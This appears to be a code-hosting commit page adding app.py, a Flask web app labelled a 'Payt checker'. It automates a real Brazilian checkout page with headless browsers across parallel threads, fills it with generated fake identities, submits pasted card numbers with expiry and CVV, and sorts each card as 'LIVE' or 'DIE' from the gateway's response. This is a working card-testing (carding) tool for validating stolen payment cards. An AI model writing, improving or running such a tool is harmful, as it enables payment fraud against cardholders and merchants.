Cauanne commited on
Commit
9d2e8c6
·
verified ·
1 Parent(s): 717bae2

Upload app.py

Browse files
Files changed (1) hide show
  1. app.py +375 -0
app.py ADDED
@@ -0,0 +1,375 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import asyncio
2
+ import random
3
+ import time
4
+ import re
5
+ import requests
6
+ import threading
7
+ from flask import Flask, render_template, request
8
+ from flask_socketio import SocketIO
9
+ from playwright.async_api import async_playwright
10
+
11
+ app = Flask(__name__, template_folder='templates', static_folder='static')
12
+ app.config['SECRET_KEY'] = 'payt-checker-v5-final'
13
+ socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
14
+
15
+ active_processes = {}
16
+
17
+ class PaytChecker:
18
+ def __init__(self, sid):
19
+ self.sid = sid
20
+ self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
21
+ self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
22
+
23
+ async def emit_to_client(self, event, data):
24
+ socketio.emit(event, data, room=self.sid)
25
+
26
+ def gerar_dados(self):
27
+ """Obtém dados reais da API 4devs. Se falhar, levanta exceção (sem fallback fixo)."""
28
+ try:
29
+ url = 'https://www.4devs.com.br/ferramentas_online.php'
30
+ payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
31
+ headers = {'Content-Type': 'application/x-www-form-urlencoded'}
32
+ r = requests.post(url, data=payload, headers=headers, timeout=5)
33
+ res = r.json()
34
+ d = res[0] if isinstance(res, list) else res
35
+ if d.get('nome'):
36
+ return {
37
+ 'nome': d['nome'],
38
+ 'nome_cartao': d['nome'].upper(),
39
+ 'cpf': d['cpf'],
40
+ 'email': d['email'],
41
+ 'telefone': d['telefone']
42
+ }
43
+ else:
44
+ raise Exception("4devs retornou dados incompletos")
45
+ except Exception as e:
46
+ # Se quiser FALLBACK (aleatório), descomente as linhas abaixo e comente o raise
47
+ # print(f"4devs falhou: {e}, gerando dados aleatórios")
48
+ # primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
49
+ # sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
50
+ # nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
51
+ # cpf = "".join([str(random.randint(0,9)) for _ in range(11)])
52
+ # email = f"{nome.split()[0].lower()}{random.randint(100,999)}{random.choice(self.provedores_email)}"
53
+ # return {
54
+ # 'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf,
55
+ # 'email': email, 'telefone': f"119{random.randint(10000000,99999999)}"
56
+ # }
57
+ raise Exception(f"Não foi possível obter dados do 4devs: {e}")
58
+
59
+ def classificar_retorno(self, mensagem):
60
+ termos_live = ["compra ainda não foi finalizada", "saldo insuficiente", "suporte", "verifique os dados"]
61
+ termos_die = ["revise os dados", "não conseguimos processar", "recusado", "inválidos"]
62
+ for t in termos_live:
63
+ if t.lower() in mensagem.lower():
64
+ return "LIVE"
65
+ for t in termos_die:
66
+ if t.lower() in mensagem.lower():
67
+ return "DIE"
68
+ return "DIE"
69
+
70
+ async def capturar_retorno(self, page):
71
+ for tentativa in range(60):
72
+ if self.sid in active_processes and active_processes[self.sid].get('stop'):
73
+ return "STOP", ""
74
+ await asyncio.sleep(1)
75
+ url = page.url
76
+ if any(x in url for x in ["obrigado", "success", "sucesso", "confirmacao"]):
77
+ return "LIVE", "Pagamento aprovado com sucesso!"
78
+
79
+ try:
80
+ for sel in ['xpath=//*[@id="app"]/nav/div/p', '.swal2-html-container', '.toast-message', '.alert', '.error-message']:
81
+ locator = page.locator(sel)
82
+ if await locator.count() > 0:
83
+ texto = await locator.first.text_content()
84
+ if texto and len(texto.strip()) > 5:
85
+ msg = texto.strip()
86
+ if any(x in msg.lower() for x in ["processando", "aguarde", "confirmando"]):
87
+ continue
88
+ return self.classificar_retorno(msg), msg
89
+ except:
90
+ pass
91
+ return "DIE", "Timeout - Sem resposta da gateway"
92
+
93
+ async def preencher_campo(self, page, selectors, valor, campo_nome, tipo='fill'):
94
+ """
95
+ Tenta preencher um campo usando múltiplos seletores.
96
+ Se 'tipo' for 'fill' -> usa locator.fill()
97
+ Se for 'type' -> usa locator.type() com delay
98
+ Se todas falharem, tenta via JavaScript + eventos.
99
+ Retorna True se conseguiu, False caso contrário.
100
+ """
101
+ for sel in selectors:
102
+ try:
103
+ # Aguarda o elemento visível e habilitado
104
+ await page.wait_for_selector(sel, state='visible', timeout=8000)
105
+ locator = page.locator(sel).first
106
+ await locator.scroll_into_view_if_needed()
107
+ await locator.click(force=True)
108
+ await asyncio.sleep(0.3)
109
+ if tipo == 'type':
110
+ await locator.type(str(valor), delay=50)
111
+ else:
112
+ await locator.fill(str(valor))
113
+ # Dispara eventos para garantir que o JS do site detecte a mudança
114
+ await locator.evaluate("el => el.dispatchEvent(new Event('input', { bubbles: true }))")
115
+ await locator.evaluate("el => el.dispatchEvent(new Event('change', { bubbles: true }))")
116
+ await locator.evaluate("el => el.dispatchEvent(new Event('blur', { bubbles: true }))")
117
+ print(f"[✓] Preenchido {campo_nome} com seletor: {sel}")
118
+ return True
119
+ except Exception as e:
120
+ print(f"[!] Falha com seletor {sel} para {campo_nome}: {e}")
121
+ continue
122
+
123
+ # Fallback via JavaScript
124
+ try:
125
+ # Tenta encontrar o campo por atributos comuns usando XPath mais flexível
126
+ js_fallback = f"""
127
+ (function() {{
128
+ let selectors = {selectors};
129
+ let input = null;
130
+ for(let sel of selectors) {{
131
+ let el = document.querySelector(sel);
132
+ if(el && (el.tagName === 'INPUT' || el.tagName === 'TEXTAREA')) {{
133
+ input = el;
134
+ break;
135
+ }}
136
+ }}
137
+ if(!input) return false;
138
+ input.value = '{str(valor)}';
139
+ input.dispatchEvent(new Event('input', {{ bubbles: true }}));
140
+ input.dispatchEvent(new Event('change', {{ bubbles: true }}));
141
+ input.dispatchEvent(new Event('blur', {{ bubbles: true }}));
142
+ return true;
143
+ }})();
144
+ """
145
+ result = await page.evaluate(js_fallback)
146
+ if result:
147
+ print(f"[✓] Fallback JS funcionou para {campo_nome}")
148
+ return True
149
+ except Exception as e:
150
+ print(f"[✗] Fallback JS falhou para {campo_nome}: {e}")
151
+
152
+ print(f"[✗] Não foi possível preencher {campo_nome} após todas as tentativas")
153
+ return False
154
+
155
+ async def testar_cartao(self, cartao, slot, stats_container):
156
+ if self.sid in active_processes and active_processes[self.sid].get('stop'):
157
+ return
158
+
159
+ partes = cartao.split('|')
160
+ if len(partes) != 4:
161
+ stats_container['errors'] += 1
162
+ await self.emit_to_client('update_stats', stats_container)
163
+ return
164
+
165
+ numero, mes, ano, cvv = partes
166
+ ano = ano[-2:] if len(ano) == 4 else ano
167
+
168
+ try:
169
+ dados = self.gerar_dados()
170
+ except Exception as e:
171
+ stats_container['errors'] += 1
172
+ stats_container['checked'] += 1
173
+ await self.emit_to_client('result', {
174
+ 'entry': {'status': 'ERROR', 'card': cartao, 'msg': f'Falha ao gerar dados: {e}', 'slot': slot, 'tempo': 0},
175
+ 'stats': stats_container
176
+ })
177
+ return
178
+
179
+ inicio = time.time()
180
+
181
+ async with async_playwright() as p:
182
+ browser = None
183
+ try:
184
+ browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
185
+ page = await browser.new_page()
186
+ await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
187
+
188
+ await page.goto(self.base_url, wait_until='networkidle', timeout=90000)
189
+
190
+ # Aguarda um pouco para o JS carregar completamente
191
+ await page.wait_for_timeout(2000)
192
+
193
+ # ------------------------------------------------------------
194
+ # 1. DADOS PESSOAIS
195
+ # ------------------------------------------------------------
196
+ # Nome completo
197
+ nome_ok = await self.preencher_campo(page, [
198
+ '#full_name', 'input[id="full_name"]', 'input[name="full_name"]',
199
+ 'input[placeholder*="nome"]', 'input[placeholder*="Nome"]',
200
+ 'input[aria-label*="nome"]', 'input[aria-label*="Nome"]',
201
+ 'xpath=//input[contains(@placeholder, "nome")]',
202
+ 'xpath=//input[contains(@placeholder, "Nome")]'
203
+ ], dados['nome'], "NOME")
204
+ if not nome_ok:
205
+ raise Exception("Campo NOME não encontrado mesmo após fallback")
206
+
207
+ # Email
208
+ await self.preencher_campo(page, [
209
+ '#email', 'input[name="email"]', 'input[placeholder*="email"]',
210
+ 'input[placeholder*="Email"]', 'input[type="email"]',
211
+ 'input[aria-label*="email"]'
212
+ ], dados['email'], "EMAIL")
213
+
214
+ # Telefone (com múltiplos padrões)
215
+ await self.preencher_campo(page, [
216
+ '#phone', 'input[name="phone"]', 'input[placeholder*="telefone"]',
217
+ 'input[placeholder*="Telefone"]', 'input[type="tel"]',
218
+ 'input[name="telefone"]', 'input[name="cellphone"]'
219
+ ], dados['telefone'], "TELEFONE")
220
+
221
+ # CPF
222
+ await self.preencher_campo(page, [
223
+ '#cpf_cnpj', 'input[name="cpf_cnpj"]', 'input[placeholder*="CPF"]',
224
+ 'input[placeholder*="Cpf"]', 'input[name="cpf"]',
225
+ 'input[data-field="cpf"]'
226
+ ], dados['cpf'], "CPF")
227
+
228
+ await page.evaluate("window.scrollBy(0, 500)")
229
+ await asyncio.sleep(1)
230
+
231
+ # ------------------------------------------------------------
232
+ # 2. DADOS DO CARTÃO
233
+ # ------------------------------------------------------------
234
+ # Número do cartão
235
+ card_ok = await self.preencher_campo(page, [
236
+ '#cardNumber', 'input[name="cardNumber"]', 'input[placeholder*="número"]',
237
+ 'input[placeholder*="cartão"]', 'input[placeholder*="Cartão"]',
238
+ 'input[data-field="cardNumber"]', 'input[autocomplete="cc-number"]'
239
+ ], numero, "CARTÃO", tipo='type')
240
+ if not card_ok:
241
+ raise Exception("Campo NÚMERO DO CARTÃO não encontrado")
242
+
243
+ # Nome impresso
244
+ await self.preencher_campo(page, [
245
+ '#cardName', 'input[name="cardName"]', 'input[placeholder*="impresso"]',
246
+ 'input[placeholder*="nome no cartão"]', 'input[placeholder*="Nome no Cartão"]',
247
+ 'input[autocomplete="cc-name"]'
248
+ ], dados['nome_cartao'], "NOME_NO_CARTÃO")
249
+
250
+ # Validade (MM/AA ou MMAA)
251
+ await self.preencher_campo(page, [
252
+ '#cardDueDate', 'input[name="cardDueDate"]', 'input[placeholder*="MM/AA"]',
253
+ 'input[placeholder*="validade"]', 'input[placeholder*="Validade"]',
254
+ 'input[placeholder*="MM/YY"]', 'input[autocomplete="cc-exp"]'
255
+ ], f"{mes}{ano}", "VALIDADE", tipo='type')
256
+
257
+ # CVV
258
+ await self.preencher_campo(page, [
259
+ '#cardCvv', 'input[name="cardCvv"]', 'input[placeholder*="CVV"]',
260
+ 'input[placeholder*="cvv"]', 'input[autocomplete="cc-csc"]'
261
+ ], cvv, "CVV", tipo='type')
262
+
263
+ # ------------------------------------------------------------
264
+ # 3. SUBMIT
265
+ # ------------------------------------------------------------
266
+ btn_clicado = False
267
+ botoes = [
268
+ 'button:has-text("Confirmar Pagamento")',
269
+ 'button:has-text("Confirmar")',
270
+ 'button[type="submit"]',
271
+ '.btn-primary',
272
+ 'button:has-text("Pagar")',
273
+ 'button:has-text("Finalizar")'
274
+ ]
275
+ for sel in botoes:
276
+ try:
277
+ btn = page.locator(sel).first
278
+ if await btn.count() > 0:
279
+ await btn.scroll_into_view_if_needed()
280
+ await btn.click(force=True)
281
+ btn_clicado = True
282
+ print("[✓] Botão de pagamento clicado")
283
+ break
284
+ except:
285
+ continue
286
+
287
+ if not btn_clicado:
288
+ raise Exception("Botão de pagamento não encontrado")
289
+
290
+ # Aguarda o processamento e captura o retorno
291
+ status, msg = await self.capturar_retorno(page)
292
+ if status == "STOP":
293
+ if browser:
294
+ await browser.close()
295
+ return
296
+
297
+ tempo = round(time.time() - inicio, 1)
298
+ if status == "LIVE":
299
+ stats_container['lives'] += 1
300
+ await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
301
+ else:
302
+ stats_container['dies'] += 1
303
+
304
+ stats_container['checked'] += 1
305
+ await self.emit_to_client('result', {
306
+ 'entry': {'status': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo},
307
+ 'stats': stats_container
308
+ })
309
+
310
+ await browser.close()
311
+
312
+ except Exception as e:
313
+ if self.sid in active_processes and active_processes[self.sid].get('stop'):
314
+ if browser:
315
+ await browser.close()
316
+ return
317
+ stats_container['errors'] += 1
318
+ stats_container['checked'] += 1
319
+ await self.emit_to_client('result', {
320
+ 'entry': {'status': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot, 'tempo': 0},
321
+ 'stats': stats_container
322
+ })
323
+ if browser:
324
+ await browser.close()
325
+
326
+
327
+ @app.route('/')
328
+ def index():
329
+ return render_template('index.html')
330
+
331
+
332
+ def run_async_checker(cards, threads_count, sid):
333
+ loop = asyncio.new_event_loop()
334
+ asyncio.set_event_loop(loop)
335
+ stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
336
+ checker = PaytChecker(sid)
337
+ socketio.emit('started', {'total': len(cards), 'threads': threads_count}, room=sid)
338
+
339
+ async def worker(card_list, slot_id):
340
+ for card in card_list:
341
+ if sid in active_processes and active_processes[sid].get('stop'):
342
+ break
343
+ await checker.testar_cartao(card, slot_id, stats)
344
+ socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
345
+
346
+ chunks = [cards[i::threads_count] for i in range(threads_count)]
347
+ tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
348
+ loop.run_until_complete(asyncio.gather(*tasks))
349
+ socketio.emit('finished', {'stats': stats, 'stopped': (sid in active_processes and active_processes[sid].get('stop'))}, room=sid)
350
+ if sid in active_processes:
351
+ del active_processes[sid]
352
+ loop.close()
353
+
354
+
355
+ @socketio.on('start_process')
356
+ def handle_start(data):
357
+ sid = request.sid
358
+ if sid in active_processes:
359
+ return
360
+ cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
361
+ threads_count = min(int(data['threads']), 10)
362
+ active_processes[sid] = {'stop': False}
363
+ threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
364
+
365
+
366
+ @socketio.on('stop_process')
367
+ def handle_stop():
368
+ sid = request.sid
369
+ if sid in active_processes:
370
+ active_processes[sid]['stop'] = True
371
+ socketio.emit('finished', {'stats': {}, 'stopped': True}, room=sid)
372
+
373
+
374
+ if __name__ == '__main__':
375
+ socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)